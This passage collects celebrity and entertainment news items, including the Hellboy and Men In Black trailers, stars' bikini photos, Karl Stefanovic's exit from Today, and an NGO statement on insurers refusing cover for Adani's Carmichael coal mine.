to Laila Morse as ''Big Mo.'' A third also tweeted: 'Well, anything scores at least part of a point for featuring Laila Morse, surely?' Iconic: Laila is most well known for her role as 'Big Mo' Harris in EastEnders, after reprising her role in the soap earlier this year Shocked: Her cameo sent fans wild as they filled Twitter with some hysterical jokes about how Big Mo will whip Hellboy into shape However the real shock for some fans was the realisation that Laila is the sister of Hollywood superstar and recent Oscar Winner Gary Oldman, after it first came to predominant attention following his awards win at the beginning of the year. One fan tweeted: 'Little bit of trivia for those not aware, this is Laila Morse the sister of Gary Oldman, yes that Gary Oldman. Much more well known in the UK than elsewhere I imagine.' Another added: 'Still many don't know that Gary Oldman and Laila Morse are siblings.' No way! However the real shock for some fans was the realisation that Laila is the sister of Hollywood superstar and recent Oscar Winner Gary Oldman Laila's appearance came after the Hellboy trailer was leaked a day early, as many fans were giddy with excitement at seeing a glimpse of the film ahead of its April 2019 release. The new R-rated incarnation looks to be taking a darker, more action-oriented approach to the franchise as it also stars Ian McShane and Milla Jovovich. It comes after Ron Perlman previously took on the role of Hellboy in two films in the franchise, before it was rebooted. Hellboy will be released nationwide on April 12, 2019. She found fame in Made In Chelsea back in 2012 and went on to launch her own swimwear company off her reality TV career. And Kimberley Garner proved herself to be the very best model for her collection as she took to the beach at Coral Reef Club in Barbados for a night shoot in shots posted to her Instagram account on Wednesday. The socialite, 28, showed off her incredible figure as she slipped into a rather daring polka dot thong bikini and frolicked in the surf in three smouldering snaps. Beach babe: Kimberley Garner took to the beach at Coral Reef Club in Barbados for a night shoot in shots posted to her Instagram account on Wednesday The TV personality arched her back and popped her leg to amplify her peachy posterior in one image. A second image showed the property developer with her back to the camera, leaning on her knees as she melted into the sand, while playfully looking over her shoulder. The third and final snap saw Kimberley stare seductively into the camera as she posed in the sea. Keeping with the surfer vibe, the reality star modelled a deep tan and styled her tresses with loose beachy waves. Glowing: The socialite, 28, showed off her incredible figure as she slipped into a rather daring polka dot thong bikini and frolicked in the surf in three smouldering snaps The swimwear designer went make-up free to highlight her stunning natural features for her striking shoot. Kimberleys two-piece is available via her website and retails at 130. Swimwear design is not the only business in Kimberlys portfolio; she is now following in her familys footsteps of high-end property development. After extensive renovations, the former reality star is said to have increased the value of a house which she bought in 2013 for 1.2 million, by over 1 million. The starlet's choice to go into property seems to be a a result of her London pad doubling in value over a five-year period. Surf's up: Keeping with the surfer vibe, the former Made In Chelsea star modelled a deep tan and styled her tresses with loose beachy waves Kimberley recently split from her ex-boyfriend, who she kept very much out of the spotlight - something she doesn't plan to do with her next relationship. Speaking to MailOnline, she said: 'When I take it to the next step and when I decide to be with someone forever I will be more than happy to have them in the public eye. 'It would be really cool to have my husband and babies in the public eye. It was nice to have a bit of privacy with my ex, but in the future I wouldn't mind.' Speaking of her split with her mystery man ex, Kimberley said: 'We broke up for a year and got back together for a few months and broke up again. He's still lovely and we're really good friends.' Kimberley shot to fame on the third series of Made In Chelsea back in 2012, where she was romantically linked to Richard Dinan and Spencer Matthews. She has been keeping her boyfriend's identity secret, but he is believed to hail from Australia. And Tiffany Watson was back Down Under again as she took to Instagram on Wednesday to share a sizzling holiday snap from her time at Wategos Beach. The former Made In Chelsea star, 25, sent fans wild with the sultry snap as she posed up a storm in a scanty bikini. Beach babe: Tiffany Watson was back Down Under again as she took to Instagram on Wednesday to share a sizzling holiday snap from her time at Wategos Beach The blonde beauty was a vision in the snap, as she showcased her sensational figure in a pink patterned bikini top with matching high rise briefs. Sweeping her glossy golden locks away from her face, Tiffany kept her accessories simple, opting for no jewellery and donning small circular shades. The star has been spending more time Down Under since bagging an Australian boyfriend - yet has kept the identity of her boyfriend secret - sharing a flurry of snaps together but always keeping his face hidden. Who's that guy? The star has been spending more time Down Under since bagging an Australian boyfriend - yet has kept the identity of her boyfriend secret Meanwhile, Tiff's ex Sam Thompson continues to entertain Made In Chelsea viewers with his post-break-up antics. The couple ended things over a year ago, but Sam's love life continues to feature heavily on the show, last summer romancing Canadian Mimi Bouchard, this year turning his attentions on to Sophie 'Habbs' Habboo. The star is currently single, and has signed up for Celebs Go Dating for the second time in a bid to find love. However, he risked the wrath of dating experts Paul C Brunson and Anna Williamson when he was found to have a profile on private dating app Raya. A source told The Sun: 'Celebs Go Dating only works if the stars are 100 per cent committed to the process and producers won't be happy with Sam if he's trying to hook up with girls outside of the show. 'Raya is a secretive, exclusive app meant for celebrities and other elite singletons with a rigorous application process. 'The fact he hasn't deleted it makes you wonder how serious Sam is about wanting to find love with a member of the public.' However, Mirror Online reports that while Sam did have the app, he wasn't active on it. She has jetted to the Caribbean island of Anguilla to relax after her lengthy promotional trail of her latest flick, Mowgli: Legend of the Jungle. And Naomie Harris continued to add to her slew of bikini-clad Instagram snaps on Thursday as she showed off her incredible figure in two striking bathing suits. Confessing that her family had already got bored of the holiday spam and told her to stop posting, the 42-year-old actress defiantly shared another snap. Stunning: Naomie Harris continued to add to her slew of bikini-clad Instagram snaps on Thursday as she showed off her incredible figure in two striking bathing suits Naomie showed off her phenomenal figure in another scanty snap, posing on the beach in a skimpy patterned two-piece. She captioned the shot: '#bikinilife in #anguilla ... I never want to leave!!! Apologies to my friends and family wrapped up in coats in London.. they have asked me to stop posting!!' It's no wonder Naomie's family were jealous, as earlier that day she also shared a picture relaxing by the pool whilst displaying her washboard abs in a pink ruffle bandeau bikini. Bikini babe: It's no wonder Naomie's family were jealous, as earlier that day she shared a picture relaxing by the pool whilst displaying her washboard abs in a pink bandeau bikini Naomie flaunted her lithe physique in the two-piece with the tiny candy-floss pink top drawing attention to her taut mid-riff. It featured a gold triangular trim in the centre of the bust and a tie-back, while the skimpy briefs showed off the Bond girl's tremendous pins. Naomie proudly showed off her youthful visage with a make-up free look and wore her raven tresses down around her shoulders. Naomie flaunted her lithe physique in the two-piece with the tiny pink bandeau bikini top, while the skimpy briefs showed off the Bond girl's tremendous pins Taking in the idyllic scenery, the snaps showed Naomie dipping her toes into an infinity pool. She captioned the post: '#paradise', alongside a smiley face and sun emoticon. Her latest snaps comes after the Golden Globe winner showed off her lithe physique in a gold one-piece with cut-out detailing on the hips. Golden girl: Her latest snaps comes after the Golden Globe winner showed off her lithe physique in a gold one-piece with cut-out detailing on the hips Naomie showed off her enviable figure in the simple swimwear as she posed by a private pool overlooking the beach. She captioned the snap: 'All that glitters is gold! #Anguilla #caribbean #theartofbelmond @melissaodabash @srmlondon'. 'Hello Sunshine!! Annnd... relax!!', Naomie captioned another picture of her posing in paradise. Chilling out: 'Hello Sunshine!! Annnd... relax!!', Naomie captioned another picture of her posing in paradise Naomie is enjoying a well-deserved break after hitting the promotional trail for her new film, Mowgli: Legend of the Jungle. The new interpretation of the classic Rudyard Kipling novel, in which Naomie voices Mowgli's adoptive wolf mother, was made available Netflix on December 7. The movie also stars Cate Blanchett voicing Kaa the Python, Benedict Cumberbatch as Shere Khan the tiger and Matthew Rhys as hunter John Lockwood. Director Andy Serkis spent a long five years making the project, only for Jon Favreau's rival big screen adaptation, The Jungle Book, to land in cinemas first. New film: Naomie is enjoying a well-deserved break after hitting the promotional trail for her new film, Mowgli: Legend of the Jungle, directed by Andy Serkis (pictured together at the London premiere two weeks ago) While Favreau's 2016 live action remake is more closely based on Disney's 1967 The Jungle Book animation, Andy no longer feel threatened because his film is a 'darker' exploration of the original Kipling material. Discussing Warner Bros. decision to sell the rights to Netflix, Serkis told Vanity Fair:'I genuinely feel like a weight has been lifted off my shoulders, 'It takes away any worry about being judged on an opening weekend, which in this climate, is what everybody judges the film on. 'And people would always judge Mowgli against the other release, you know? This way everybody, across the world, will see this movie.' Keanu Reeves has admitted he 'would love' to take over the role of Wolverine after Hugh Jackman's last outing. The iconic X-Men character has been made famous by the Australian actor, 50, who has portrayed the part in nine movies across 17 years. Having previously said that he would be interested in the part, Keanu, 54, threw his name into the ring when was asked by ScreenGreek.net if he would like to play Batman after Ben Affleck, or Wolverine after Hugh. Comic book hero in the making? Keanu Reeves has admitted he 'would love' to take over the role of Wolverine after Hugh Jackman's last outing (pictured last month) He said: 'Of the two, I'd love to play Wolverine.' The action star added it was not true that he was not available when the roles of Wolverine and Batman came up, but that he simply wasn't cast for them. He said: 'It wasnt that I couldnt take it, it was cast.' Asked if there is any other comic book character he would like to bring to the big screen, The Matrix star responded: 'I dont have one, to be candid.' Talented: The iconic X-Men character has been made famous by the Australian actor, 50, who has portrayed the part in nine movies across 17 years (pictured in 2006) In 2017, Hugh confirmed Logan would be his last outing in the role, telling the The New York Times: 'Someone else will play [Wolverine] for sure.' The actor starred as Wolverine in the first X-Men film and reprised the role in eight more movies, including sequels and an X-Men Origins spin-off series focusing on the character. It has also been reported that Ben Affleck is also set to step down from his role as caped crusader Batman. According to Forbes, the actor is unlikely to portray Bruce Wayne in any future films on the character, as the upcoming movie, The Batman, will focus on the hero's younger days. Future: The action star said it was not true he was not available when the roles of Wolverine and Batman came up, but that he simply wasn't cast for them (pictured November 2017) Keanu recently joined the A-list cast of Toy Story 4, appearing alongside the likes of Tim Allen, Tom Hanks and Joan Cusack in the much-loved franchise. Speaking on The Tonight Show starring Jimmy Fallon in November, Tim, 65, revealed: 'Keanu Reeves has got a great part.' 'Actually, a little inside story, even [Reeves] said - gentle, wonderful guy that he is - "This [character] sounds too much like Buzz Lightyear".' Companies that have explicitly refused to insure the mine or have previously pledged not to provide cover for new coal projects include the worlds biggest insurers and reinsurers, Allianz, AXA, Swiss Re and Munich Re; two of Australias largest infrastructure insurers, QBE and Suncorp; the first major US insurer to take action on coal, FM Global; as well as major European insurers Generali, Zurich and SCOR. Despite warnings that Carmichael would be a disaster for the climate and environment, other major insurers have failed to rule out insuring the project, including Hannover Re, Berkshire Hathaway and AIG. However, Adani has already been turned down by at least one from this group. UK-based Beazley would not rule out insuring the project, but it said: "We do not have direct involvement having declined the risk when it was presented earlier this year." Julien Vincent, executive director of Market Forces, one of the NGOs supporting the Unfriend Coal campaign, said: Adani has failed to secure private financial backing for this disastrous project. Insurers now have the power to stop it for good, and its encouraging to see global leaders rule out support. Those who have yet to commit must ask themselves, do they really want to be the company that opens up one of the worlds biggest coal basins in the middle of a climate crisis? Adani was forced to announce last month that it would self-finance the US$1.5 billion project after more than 37 global financial institutions, including all Australias major banks, publicly rejected any involvement with the mine. The companys move puts insurers in the spotlight because the mine cannot be built or operated without insurance. Coal burned over the approved lifetime of the mine would emit 4.6 billion tonnes of CO2, equivalent to more than eight years of Australias annual greenhouse gas emissions. Developing the mine would open up the huge reserves of Queenslands Galilee Basin to exploitation, where there are proposals for even larger mines. A rail line would transport the coal to an export terminal on the Great Barrier Reef, and the resultant dredging and ship traffic threatens irreversible damage to one of the worlds most biodiverse ecosystems and a World Heritage Site. The mine would also be built on the lands of the Wangan and Jagalingou Traditional Owners, who continue to oppose the project. Coal is the biggest source of CO2 emissions, and at least 59% of all coal power must be phased out by 2030 to meet the Paris climate target of limiting global warming to 1.5C, according to the UNs Intergovernmental Panel on Climate Change. There is already more coal, oil and gas in production than can be burned without breaching this target, Oil Change International has found. Jason Opena Disterhoft, Climate and Energy Senior Campaigner at Rainforest Action Network, said: Limiting global warming to 1.5C is flatly incompatible with expansion of coal via carbon bombs like Adanis Carmichael mine, and no insurer that is serious about climate can facilitate that expansion. FM Globals not supporting the mine and railway makes it the first U.S. insurer to publicly commit to not insure a coal project. Its time for AIG, Berkshire Hathaway and their US peers to follow suit. On December 6th, 73 organizations representing a combined membership of more than 76 million people sent an open letter to 30 leading insurers calling on them to publicly rule out insuring the mine and rail project in the light of its climate, environmental and social impacts. By the deadline of Friday, December 14th, five companies had explicitly pledged not to provide insurance, AXA and Scor (France), FM Global (US), QBE and Suncorp (Australia); five have existing policies that exclude insuring the mine, Allianz and Munich Re (Germany), Swiss Re and Zurich (Switzerland), and Generali (Italy); while four companies would not commit to refusing insurance, Lloyds and Beazley (UK), Hannover Re (Germany) and Starr (US). However, Lloyds, Beazley and Starr did note that they are not currently involved in the project. Sixteen insurers with no policies on coal insurance have yet to respond: AIG, Axis Capital, Berkshire Hathaway, Great American Insurance, Liberty Mutual, Markel Corporation and WR Berkley (US); Canopius, Chaucer, and CNA Hardy (UK); Chubb (Switzerland); Hamilton Insurance Group (Bermuda); HDI (Germany); Mapfre (Spain); and Sompo and Tokio Marine (Japan). Lucie Pinson, European coordinator of the Unfriend Coal campaign, said: The giant Carmichael coal mine is a test case that demonstrates clearly whether insurers care about managing climate risk or are more interested in profiting from climate chaos. Companies that are unwilling to rule out insuring this disastrous project are threatening the future of our climate, the unique environment of the Barrier Reef and the wellbeing of local people. The letter was coordinated by Australian NGO Market Forces, US NGO Rainforest Action Network, and the international Unfriend Coal campaign, with Friends of the Earth France, Greenpeace, Japan Center for a Sustainable Environment and Society, Re:Common and urgewald. The 73 signatories also include 350.org, the Australian Youth Climate Coalition, Divest Invest, and Friends of the Earth International. It's been an exciting time for the star as of recent, since welcoming her first child with husband Jose 'Pepe' Baston in June. And Eva Longoria gushed she can't remember what life was like before becoming a mother as she posted a sweet image with son Santiago to mark six months since giving birth. In the Instagram image posted to her account on Wednesday, the Desperate Housewives star, 43, gazed adoringly at her tot as the pair grinned from ear-to-ear while in bed. In love: Eva Longoria gushed she can't remember what life was like before becoming a mother as she posted a sweet image with son Santiago to mark six months since giving birth The screen star looked in awe as she enjoyed some quality time with her son, who looked adorabe in an animal print babygro. Brunette beauty Eva opted for comfort in a zip-up hoodie and showcased her naturally radiant complexion as she went make-up free. Delighting in her role as a mother, the producer captioned the image: 'My sweet angel, you are 6months today and it feels like you were just born yesterday! 'Although I cant remember my life without you. Your laughter melts my heart in ways you will never know. I love mi cosita preciosa! #BabyBaston #Santi #6Months' (sic). In awe: It's been an exciting time for the star as of recent, since welcoming her first child with husband Jose 'Pepe' Baston in June Partner: Eva shares her first child with husbamd Jose, 50, who she wed in May 2016, in a ceremony attended by Victoria and David Beckham (pictured together in February) The Young and the Restless recently admitted the 'best part' of being a mother is seeing her little one go through every stage of his life right in front of her eyes. She explained: 'The best part of being a mom is that I get to see every stage my son encounters and I think it's the best thing ever. Like the first time he giggles, I think that is the best part of being a mom. 'Then he goes to another stage where he rolls over, and I think that is the best. Everything he does is the best thing about being a mother!' Eva shares her first child with husbamd Jose, 50, who she wed in May 2016, in a ceremony attended by Victoria and David Beckham. Tender moments: The Young and the Restless recently admitted the 'best part' of being a mother is seeing her little one go through every stage of his life right in front of her eyes Working mummy: During an interview with Hello! , the brunette previously admitted she's 'anxious' about returning to work as she enjoys her cosy routine with her baby boy Santiago is the first child for Eva, but the fifth for Jose, who was previously married to Mexican actress Natalia Esperon. She previously described the child, who was born in Los Angeles this summer, as a 'beautiful blessing'. During a recent appearance on Lorraine, Eva spoke candidly about getting back into shape after her pregnancy. Smitten: She previously described the child, who was born in Los Angeles this summer, as a 'beautiful blessing' Eva revealed: '[Santiago] was fully cooked, so I just kept getting bigger and bigger. It's definitely going to take some effort to get back to the way I was.' During an interview with Hello!, the brunette previously admitted she's 'anxious' about returning to work as she enjoys her cosy routine with her baby boy. Speaking to the publication, the director branded her connection with Santiago as 'indescribable', and went on to share details of her experience with motherhood. The good life: During an interview with Hello! , the brunette previously admitted she's 'anxious' about returning to work as she enjoys her cosy routine with her baby boy. Eva said: 'He was born so alert! It was like he said, Hey! I know you! Its as if I knew him my whole life.' Relishing in her tender moments with her son, the Telenovela star previously confessed she's not quite ready to return to her directing role on upcoming drama series Grand Hotel. She revealed: My son will be two and a half months old and I cant even think about it right now ... I enjoy our routine and our days together.' She worked as a Government Adviser prior to her stint in the Love Island villa. And Zara McDermott appeared on Politics Live on Thursday to discuss whether reality stars are better role models than politicians. The reality star, 22, appeared alongside host, Jo Coburn, and a panel made up of Ayesha Hazarika, Lord Finkelstein, Tim Stanley and Grace Blakeley to argue her case. Politics: Zara McDermott appeared on Politics Live on Thursday to discuss whether reality stars are better role models than politicians Despite having a rather non-partisan view on the topic, Zara defended her co-star Hayley Hughes who came under ridicule during her time on Love Island for her lack of political knowledge. The Liverpudlian model, 22, stunned viewers by saying she didn't 'have a clue' about what Brexit meant, before asking, 'So does that mean we won't have any trees?' Defending Hayley's blunder and whether reality stars are better role models than politicians, Zara said: 'I mean, in some instances, no. 'We could argue that for both sides, I think there though, that really to me, is really telling of how much do young people, or any type of people in the world, how much do we really truly understand about what is going on at the moment. Brexit blunder: Despite having a rather non-partisan view on the topic, Zara defended her co-star Hayley Hughes who came under ridicule on the show for her lack of political knowledge Former work: Zara went on to discuss her job in the Department of Education, revealing her main priority and passion was educating young people about politics 'Because, for me, I think I am quite politically aware and I always have been because of my job. For me, taking a step out of government and not having the time to catch up on what's going on, I feel so out of it.' Zara went on to discuss her job in the Department of Education, revealing her main priority and passion was educating young people about politics. Debating whether politicians make better role models than reality stars, she said: 'For me yes and no, I think their intentions are all, I hope, good and trying to do the best thing for their version of society, which differs for each political party. 'However, obviously etiquette in parliament and their behaviour, there needs to be a huge reform on that kind of political landscape in order to set a good example for young people.' Praise: The reality star's responses were met with praise from the panel and in particular Ayesha, who said she wanted the 22-year-old to get into politics The reality star's responses were met with praise from the panel and in particular Ayesha, who said she wanted the 22-year-old to get into politics, she joked: 'We could have our new future!' Zara's appearance comes after she was forced to delete her Twitter account after being cruelly trolled following an appearance on BBC News' Brexit Blind Dates earlier this year. The reality star went on a 'blind date' with Sheffield Lord Mayor Magid Magid to debate their opposing views on politics. Brexit: Zara's appearance comes after she was forced to delete her Twitter account after being cruelly trolled following an appearance on BBC News' Brexit Blind Dates earlier this year Yet Zara revealed after her appearance that she was forced to delete her Twitter, responding to a fan, she said: 'Truth is Im finding the hate that comes with Twitter very hard and I feel it can be quite a dark place at times.' During the 'blind date', the former civil servant, who quit her job after appearing on Love Island, spoke freely on politics and revealed that she is pro-Leave. She later took to Instagram and said: 'I am not heavily involved in supporting any political party at all.' Karl Stefanovic was axed from the Today show on Wednesday after working on the breakfast show for 14 years. And now The Daily Telegraph has claimed that his co-host Georgie Gardner, 48, played a big role in his sacking. According to the publication, Georgie, who replaced Lisa Wilkinson last year, had 'demanded not to work with him' after becoming fed up with his headline-making antics. There are also claims that the mother of two, who has always had a strained relationship with the larrikin TV host, was 'assured' by Channel Nine a year ago that she would only have to work with him for 12 months. 'She hates Karl and has done for a long time': Georgia Gardner 'demanded not to work with Karl Stefanovic' before he was fired... as it's claimed 'she knew' he would get the boot a year ago 'Georgie simply demanded she won't work with Karl anymore,' a Nine executive reportedly told The Daily Telegraph on Friday. 'She hates Karl and has done for a long time,' the insider said, adding that Karl's Ubergate scandal was the final straw for the much-loved female TV star. Meanwhile, News Corp reports that just over a year ago a senior executive at Channel Nine had promised Georgie that she'd only have to 'work with Karl for a year'. 'She signed on to the show after having been assured she would only have to do one year with Karl,' an unnamed senior executive at Nine reportedly told The Sunday Telegraph a year ago. 'After that, he's gone and Nine will recast and she will get to work with someone else.' However, Nine dismissed the report as 'utter garbage' in a statement to Daily Mail Australia. After Karl and his brother Peter Stefanovic's 'b**chy' phone conversation in the back of an Uber was exposed by New Idea in March, Georgie was reportedly 'furious and demanded to hear the recording'. Woman's Day claimed at the time that she was 'p***ed off' and her concerns even resulted in management getting involved. 'Georgie simply demanded she won't work with Karl anymore,' a Nine executive reportedly told the publication 'There were crisis meetings, with Nine executives in damage control,' a source told the magazine at the time. 'Georgie wanted to "know exactly what they (Peter and Karl) were saying about her,"' the TV insider alleged. 'She made it clear when she came back to Today, she wasn't going to put up with Karl's antics.' During the phone call, Karl reportedly discussed his 'problems' with Georgie and claimed she 'sits on the fence' and was too neutral. The Uber driver who overheard the conversation told the magazine: '(Karl) said she didn't have enough opinions and he wanted her to step up. 'He actually sounded angry and said he was going to start pushing hard and that she needed to do that if she wanted to stay on the show.' Meanwhile, The Daily Telegraph also claimed on Friday that while it was reported Georgie couldn't make Karl's wedding to Jasmine Yarbrough due to family commitments, she simply did not want to attend the nuptials. Turn down an invite? Meanwhile, The Daily Telegraph also claimed on Friday that while it was reported Georgie couldn't make Karl's wedding to Jasmine Yarbrough due to family commitments, she simply did not want to attend the nuptials It's widely known that Georgie and Karl have always had a strained relationship. During an interview with Hughesy & Kate earlier this year, Georgie admitted there was 'a fraction too much friction' between the pair. Her subtle on-air digs at Karl also didn't go unnoticed. And at this year's Logies, Georgie was caught rolling her eyes at Karl during an awkward interview on the red carpet, with viewers instantly taking to Twitter to react. 'Georgie has decided not to even pretend to like Karl anymore and I love it,' one viewer wrote, seeming to take the blonde's eye-roll as unconcealed contempt for Karl. 'Wow, really not hard to see how much Georgie LOATHES Karl,' another remarked. The pair were being interviewed on the red carpet by Sonia Kruger when the eye roll occurred. During the chat Karl told Sonia: 'There's a lot going to happen tonight, and Georgie's going to be with me the whole night'. Seemingly less than impressed, Georgie shot him a disapproving look before turning away and rolling her eyes. Strict conditions: Meanwhile, News Corp reported on Thursday that just over a year ago, a senior executive at the network reportedly promised Georgie that she'd only have to work with Karl for a year Sonia then stated: 'You've got a really early start tomorrow Georgie, so I'm assuming you will party the whole way through?' 'Thank you for the reminder Sonia, and the responsible thing to do would be to party on through,' the Today show co-host replied. 'WOO!!' Karl yelled out enthusiastically, before Georgie again turned away with a disgruntled look on her face, seeming to signal she was less than impressed with Karl's antics. After months of speculation, Karl was finally dumped from Today on Wednesday, just a day after his brother Peter, 37, parted ways with the network 'to explore new opportunities.' 'For the last 14 years I've co-hosted the best show on television. I can't thank Nine enough for the opportunity. I never in my wildest dreams thought I would be good enough to host this grand show for so long,' Karl said in a statement. Gone! After months of speculation, Karl was dumped from Today on Wednesday, just a day after his brother Peter, 37, (R) parted ways with the network 'to explore new opportunities' 'Thanks to our viewers mostly, you are what matters most. It's been a tough time. Thanks for hanging in there. I look forward to seeing you in another capacity at this great Network soon.' Meanwhile, Darren Wick, Director of News and Current Affairs at Channel Nine, confirmed that Karl would be staying with the network and will continue to host This Time Next Year. The embattled breakfast star still has 12 months left on his $3 million contract. Rumours have swirled for months that Karl was set to be axed from the Today show on the back of terrible ratings driven by viewers' unhappiness at his controversial personal life. Georgie was promoted to co-host of the Today show in January following Lisa Wilkinson's shock exit and defection to Channel Ten in late 2017. Lisa left Today after Nine failed to match her salary to Karl's, who was rumoured to be earning double what she was being paid. Making headlines: In March, Peter and Karl were embroiled in the now infamous 'Ubergate' scandal after their private phone conversation in a taxi was leaked to New Idea magazine.Karl reportedly complained about Georgie during the chat Blanca Blanco is best known as an actress in films such as Betrayed and American Romance. But the brunette beauty has branched out to modeling. On Thursday Swedish fashion brand Chiquelle gave DailyMail.com a first look at their new ad campaign with the Washington State graduate. The shoot by Filip Shobot appeared in Elle magazine. New gig: Blanca Blanco is best known as an actress in films such as Betrayed and American Romance. But the brunette beauty is now branching out to modeling Stunning: On Thursday Chiquelle gave DailyMail.com a first look at their new ad campaign with the Washington State graduate. The shoot by Filip Shobot appeared in Elle magazine Proud: The Hollywood fixture shared a look at the ad on the back of Elle Magazine In one set up she is seen in a long leopard print, belted dress that makes the most of her waistline. Her hair is down as she spins around on a roof top. The Hollywood fixture shared a look at the ad on the back of Elle Magazine. Clothing change: And she is also seen in a low-cut white top with beige slacks and black heels Sparkle and shine: The Washington state native added a bold gold necklace And she is also seen in a low-cut white top with beige slacks and black heels. In another set up Blanca - who lives with actor John Savage - has on a maroon top and a beige miniskirt. The Showgirls 2 actress added strappy heels. Her hair was by Vladimir Simic, make up was by Mina Abramovic and her esthetician was Akemi Yagi. Perfect for spring: In another set up Blanca - who lives with actor John Savage - has on a maroon top and a beige miniskirt Glam team: Her hair was by Vladimir Simic, make up was by Mina Abramovic and her estetician was Akemi Yagi The red carpet fixture was just in Morocco for a film festival where she attended many screenings and did private photos shoots, one with Robin Wright's brother. Before that she had heartbreak when her Malibu residence went up in flames during the Woolsey wildfire that took many homes. It took her two hours to reach safety in Camarillo in Ventura County, California, as the narrow Pacific Coast Highway was clogged with cars. When Blanco - she has appeared in the films Mission Possible and Woman On The Edge - settled into her hotel, she saw her home burn to the ground on live TV, she told DailyMail.com. The very first trailer for Men In Black International was released on Thursday. The new reboot stars Chris Hemsworth, 35, and Tessa Thompson, 35, reuniting after their collaboration in Thor: Ragnarok. Liam Neeson also has a major role. The trailer seems to promise a heavier focus on alien-hunting action, although plenty of the original film's comedy seems intact. New faces: The very first trailer for Men In Black: International was released on Thursday. The new reboot stars Chris Hemsworth, 35, and Tessa Thompson, 35, reuniting after their collaboration in Thor: Ragnarok European locales: The trailer opens with an establishing shot of Paris that seems to suggest Agent H (Chris Hemsworth) and the so far unnamed head of the UK branch of MIB (Liam Neeson) are searching for a creature in the Eiffel Tower Finding answers: Next, the action shifts to New York, where the soon-to-be Agent M (Tessa Thompson) has just stumbled upon a secret MIB facility. 'It took me 20 year to find you,' she explains. 'How many people can say that?' The trailer opens with an establishing shot of Paris that seems to suggest Agent H (Hemsworth) and the so far unnamed head of the UK branch of MIB (Neeson) are searching for a creature in the Eiffel Tower. Liam's voice-over is heard on the soundtrack: 'Always remember: the universe has a way of leading you to where you're supposed to be at the moment you're supposed to be there.' Next, the action shifts to New York, where the soon-to-be Agent M (Tessa Thompson) has just stumbled upon a secret MIB facility. 'It took me 20 year to find you,' she explains. 'How many people can say that?' There's also a quick shot of a painting in the building depicting the exploits of Will Smith and Tommy Lee Jones from the first film, though it's not clear if either will appear in this new installment. Unconvinced: 'You really think a black suit is going to solve all your problems?' asks O archly. Then we see a montage of M's arming and training for her new job Strange awakening: M gets her first exposure to aliens when she meets the foul-mouthed little worm creatures that appeared in the original series Long night: Liam assigns her to work with Agent H as a montage of his fighting skills is shown on screen, which then cuts to a humorous bit as M walks in on him asleep at his desk M's voice-over continues as Agent O (Emma Thompson) is introduced on screen. 'You are the bet kept secret in the universe,' M continues. 'Which makes me perfect for this job.' 'You really think a black suit is going to solve all your problems?' asks O archly. Next, we see a montage of M's arming and training for her new job, followed by O announcing that there may be a problem in London. M gets her first exposure to aliens when she meets the foul-mouthed little worm creatures that appeared in the original series. Liam assigns her to work with Agent H as a montage of his fighting skills is shown on screen, which then cuts to a humorous bit as M walks in on him asleep at his desk. 'Catching up on my daily meditation,' he mumbles once woken up. 'Time for lunch, I think. Are you hungry?' When she informs him that it's only 9:30, he replies, 'Perfect, Tuesday's taco day!' Close to home: Over a montage of M and H rolling up to a club, Liam's voice-over announces that the agency has been compromised. He's shown staring out the window at a burning building Payback time: The picture switches to the London streets, where M and H are confronted by two hostile aliens in human garb. They grab enormous futuristic weapons from an old, modified Jaguar car Look away: Next, we see the two on some kind of hover craft in a middle eastern boutique, where they're forced to wipe every bystanders memory Over a montage of M and H rolling up to a club, Liam's voice-over announces that the agency has been compromised. He's shown staring out the window at a burning building. 'It puts every citizen of this planet at risk,' he warns. The picture switches to the London streets, where M and Hare confronted by two hostile aliens in human garb. They grab enormous futuristic weapons from an old, modified Jaguar car. Next, we see the two on some kind of hover craft in a middle eastern boutique, where they're forced to wipe every bystanders memory. Little fellow: We get a short glance of a tiny alien creature, voiced by comedian Kumail Nanjiani Time for action: The trailer ends with an action montage, first of M and Hfiring their weapons, then of the two converting their car into an aircraft We get a short glance of a tiny alien creature, voiced by comedian Kumail Nanjiani. The trailer ends with an action montage, first of M and Hfiring their weapons, then of the two converting their car into an aircraft. After the titles, there's a brief humorous ending in which H battles an alien creature. When he tries to throw a hammer at it's head, the alien catches the hammer. 'That was an incredible catch,' H replies, astounded. Men In Black: International arrives nationwide June 14, 2019. Teaser: After the titles, there's a brief humorous ending in which H battles an alien creature. When he tries to throw a hammer at it's head, the alien catches the hammer She's never shy to flaunt her fabulous figure. And Emily Ratajkowski proved on trend as she showcased her enviable physique during a morning outing in Los Angeles on Thursday. The 27-year-old supermodel flaunted her famous curves as she donned a skintight mini dress for a coffee date in the tony neighborhood of Silver Lake. Stunner: Emily Ratajkowski, 27, proved on trend as she showcased her enviable physique during a morning outing in Los Angeles on Thursday Daring to impress, the I Feel Pretty actress stomped the streets in box fresh sneakers as she kept her trademark tresses long and loose. Emily was seen without her husband of 10 months, Sebastian Bear-McClard. Emily and Sebastian wed in a secret ceremony at a New York courthouse earlier in the year. Speaking to Marie Claire in May, she revealed that people initially came after her marriage. Beauty: The supermodel flaunted her famous curves as she donned a skintight mini dress for a coffee date in the tony neighborhood of Silver Lake Impressive: Daring to impress, the I Feel Pretty actress stomped the streets in box fresh sneakers as she kept her trademark tresses long and loose 'People came after my marriage, like, "Wow. I give it three weeks." I'm like, "What?",' she said. 'No one can take women seriously on any choices that they make, especially if theyre unique to them and they dont play into the way we think women should get married. Its a constant writing-off.' Meanwhile, the beauty spoke to Vogue Australia and said she 'doesn't really care if wearing a crop-top is somehow playing into some patriarchy.' Cover girl: Emily graces the January cover of Vogue Australia and spoke about her brand of feminism in an interview with the publication Who cares: She said she 'doesn't really care if wearing a crop-top is somehow playing into some patriarchy'; (pictured November) '[Like] I'm playing into a patriarchal society by looking the way I look and capitalizing on my sexiness,' she said. 'It makes me feel good about myself, and I shouldn't be limited on that. Making rules as to what a feminist should look like or wear is insane to me.' 'I think it's sexism. I think in general people dont really want to hear women talk about these kinds of things, and especially women who make money on how they look: they especially resent them using their voice,' she added. He's currently enjoying a successful run of Nativity! The Musical at the Hammersmith Eventim Apollo, which he stars in alongside his daughter Dani. And Danny Dyer has clearly drawn in huge crowds to the theatre, as he was accosted by some very amorous female fans following his performance on Wednesday night. The EastEnders star, 41, was in high spirits as he spoke with the giddy women, as he embraced them and kissed their cheeks outside the venue. Friendly: Danny Dyer was accosted by a group of VERY amorous female fans after his latest Nativity! The Musical performance on Wednesday night Danny proved to be a gentleman with his fans, taking his time to speak with them, sign their programmes, and take selfies before heading home. One particular group of women were very excited to meet the actor in person, as they wrapped their arms around his waist while he gave them a hug. Danny looked dapper as he wrapped up from the cold weather in a grey coat, which had a white fur trim across the hem and 